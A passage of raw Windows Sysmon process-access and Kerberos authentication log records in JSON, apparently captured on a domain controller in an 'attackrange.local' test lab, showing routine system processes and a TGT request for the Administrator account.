11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221996,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication 